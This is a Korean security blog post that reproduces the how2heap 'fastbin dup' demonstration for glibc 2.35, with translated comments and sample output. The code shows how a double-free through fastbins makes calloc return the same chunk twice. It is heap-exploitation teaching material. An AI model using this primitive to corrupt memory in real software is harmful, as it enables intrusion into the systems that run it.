ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (626)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (13)
      • dreamhack (12)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

background/linux

[how2heap] Fastbin dup (glibc 2.35)

2024. 3. 5. 17:43

https://github.com/shellphish/how2heap/blob/master/glibc_2.35/fastbin_dup.c

 

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	setbuf(stdout, NULL);

	printf("이 파일은 fastbins를 사용한 간단한 double-free 공격을 보여줍니다.\n");

	printf("먼저 tcache를 채웁니다.\n");
	void *ptrs[8];
	for (int i=0; i<8; i++) {
		ptrs[i] = malloc(8);
	}
	for (int i=0; i<7; i++) {
		free(ptrs[i]);
	}

	printf("버퍼 3개를 할당합니다.\n");
	int *a = calloc(1, 8);
	int *b = calloc(1, 8);
	int *c = calloc(1, 8);

	printf("첫 번째 calloc(1, 8): %p\n", a);
	printf("두 번째 calloc(1, 8): %p\n", b);
	printf("세 번째 calloc(1, 8): %p\n", c);

	printf("첫 번째 것을 해제합니다...\n");
	free(a);

	printf("%p를 다시 해제하면, %p가 free list의 맨 위에 있기 때문에 문제가 발생합니다.\n", a, a);
	// free(a);

	printf("대신 %p를 해제합니다.\n", b);
	free(b);

	printf("free list의 맨 위가 아니기 때문에 이제 %p를 다시 해제할 수 있습니다. .\n", a);
	free(a);

	printf("이제 free list는 [ %p, %p, %p ]입니다. 3번 malloc하면 %p를 두 번 받게 됩니다!\n", a, b, a, a);
	a = calloc(1, 8);
	b = calloc(1, 8);
	c = calloc(1, 8);
	printf("첫 번째 calloc(1, 8): %p\n", a);
	printf("두 번째 calloc(1, 8): %p\n", b);
	printf("세 번째 calloc(1, 8): %p\n", c);

	assert(a == c);
}

 

이 파일은 fastbins를 사용한 간단한 double-free 공격을 보여줍니다.
먼저 tcache를 채웁니다.
버퍼 3개를 할당합니다.
첫 번째 calloc(1, 8): 0x55db240313a0
두 번째 calloc(1, 8): 0x55db240313c0
세 번째 calloc(1, 8): 0x55db240313e0
첫 번째 것을 해제합니다...
0x55db240313a0를 다시 해제하면, 0x55db240313a0가 free list의 맨 위에 있기 때문에 문제가 발생합니다.
대신 0x55db240313c0를 해제합니다.
free list의 맨 위가 아니기 때문에 이제 0x55db240313a0를 다시 해제할 수 있습니다. .
이제 free list는 [ 0x55db240313a0, 0x55db240313c0, 0x55db240313a0 ]입니다. 3번 malloc하면 0x55db240313a0를 두 번 받게 됩니다!
첫 번째 calloc(1, 8): 0x55db240313a0
두 번째 calloc(1, 8): 0x55db240313c0
세 번째 calloc(1, 8): 0x55db240313a0

 

'background > linux' 카테고리의 다른 글

[how2heap] House of Botcake (glibc 2.31)  (0) 2024.03.18
[how2heap] Fastbin dup into stack (glibc 2.35)  (1) 2024.03.11
stack pivoting  (0) 2023.07.06
[how2heap] House of Lore (glibc 2.35)  (0) 2023.07.03
[how2heap] Tcache House of Spirit (glibc 2.35)  (0) 2023.05.23
    'background/linux' 카테고리의 다른 글
    • [how2heap] House of Botcake (glibc 2.31)
    • [how2heap] Fastbin dup into stack (glibc 2.35)
    • stack pivoting
    • [how2heap] House of Lore (glibc 2.35)
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바